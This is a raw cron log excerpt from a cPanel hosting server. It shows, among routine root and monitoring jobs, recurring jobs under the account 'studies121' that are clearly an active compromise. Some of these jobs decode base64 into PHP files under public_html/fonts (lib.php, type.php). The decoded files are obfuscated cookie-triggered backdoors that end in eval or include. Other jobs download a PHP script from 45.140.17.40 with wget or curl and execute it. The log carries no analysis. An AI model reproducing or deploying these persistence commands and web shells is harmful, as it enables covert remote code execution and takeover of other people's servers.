Aug 30 16:07:02 ip-184-168-122-23 CROND[7026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:08:01 ip-184-168-122-23 CROND[7118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:08:01 ip-184-168-122-23 CROND[7121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:08:01 ip-184-168-122-23 CROND[7122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:08:01 ip-184-168-122-23 CROND[7120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:08:01 ip-184-168-122-23 CROND[7123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:09:01 ip-184-168-122-23 CROND[7219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:09:01 ip-184-168-122-23 CROND[7220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:09:01 ip-184-168-122-23 CROND[7224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:09:01 ip-184-168-122-23 CROND[7221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:09:01 ip-184-168-122-23 CROND[7223]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 16:10:01 ip-184-168-122-23 CROND[7312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:10:01 ip-184-168-122-23 CROND[7313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:10:01 ip-184-168-122-23 CROND[7314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:10:01 ip-184-168-122-23 CROND[7318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:10:01 ip-184-168-122-23 CROND[7317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:10:01 ip-184-168-122-23 CROND[7319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:10:01 ip-184-168-122-23 CROND[7320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:10:01 ip-184-168-122-23 CROND[7321]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:11:01 ip-184-168-122-23 CROND[7414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:11:01 ip-184-168-122-23 CROND[7415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:11:01 ip-184-168-122-23 CROND[7417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:11:01 ip-184-168-122-23 CROND[7419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:12:01 ip-184-168-122-23 CROND[7527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:12:01 ip-184-168-122-23 CROND[7529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:12:01 ip-184-168-122-23 CROND[7532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:12:01 ip-184-168-122-23 CROND[7530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:12:01 ip-184-168-122-23 CROND[7531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:13:01 ip-184-168-122-23 CROND[7693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:13:01 ip-184-168-122-23 CROND[7695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:13:01 ip-184-168-122-23 CROND[7694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:13:01 ip-184-168-122-23 CROND[7696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:14:01 ip-184-168-122-23 CROND[7872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:14:01 ip-184-168-122-23 CROND[7876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:14:01 ip-184-168-122-23 CROND[7877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:14:01 ip-184-168-122-23 CROND[7882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:14:01 ip-184-168-122-23 CROND[7880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:15:01 ip-184-168-122-23 CROND[7982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:15:01 ip-184-168-122-23 CROND[7984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:15:01 ip-184-168-122-23 CROND[7987]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 16:15:01 ip-184-168-122-23 CROND[7985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:15:01 ip-184-168-122-23 CROND[7986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:15:01 ip-184-168-122-23 CROND[7990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:15:01 ip-184-168-122-23 CROND[7988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:16:01 ip-184-168-122-23 CROND[8078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:16:01 ip-184-168-122-23 CROND[8080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:16:01 ip-184-168-122-23 CROND[8081]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:16:01 ip-184-168-122-23 CROND[8083]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 16:16:01 ip-184-168-122-23 CROND[8084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:16:01 ip-184-168-122-23 CROND[8086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:17:01 ip-184-168-122-23 CROND[8182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:17:01 ip-184-168-122-23 CROND[8183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:17:01 ip-184-168-122-23 CROND[8184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:17:01 ip-184-168-122-23 CROND[8181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:18:01 ip-184-168-122-23 CROND[8280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:18:01 ip-184-168-122-23 CROND[8278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:18:01 ip-184-168-122-23 CROND[8281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:18:01 ip-184-168-122-23 CROND[8285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:18:01 ip-184-168-122-23 CROND[8288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:19:01 ip-184-168-122-23 CROND[8460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:19:01 ip-184-168-122-23 CROND[8462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:19:01 ip-184-168-122-23 CROND[8463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
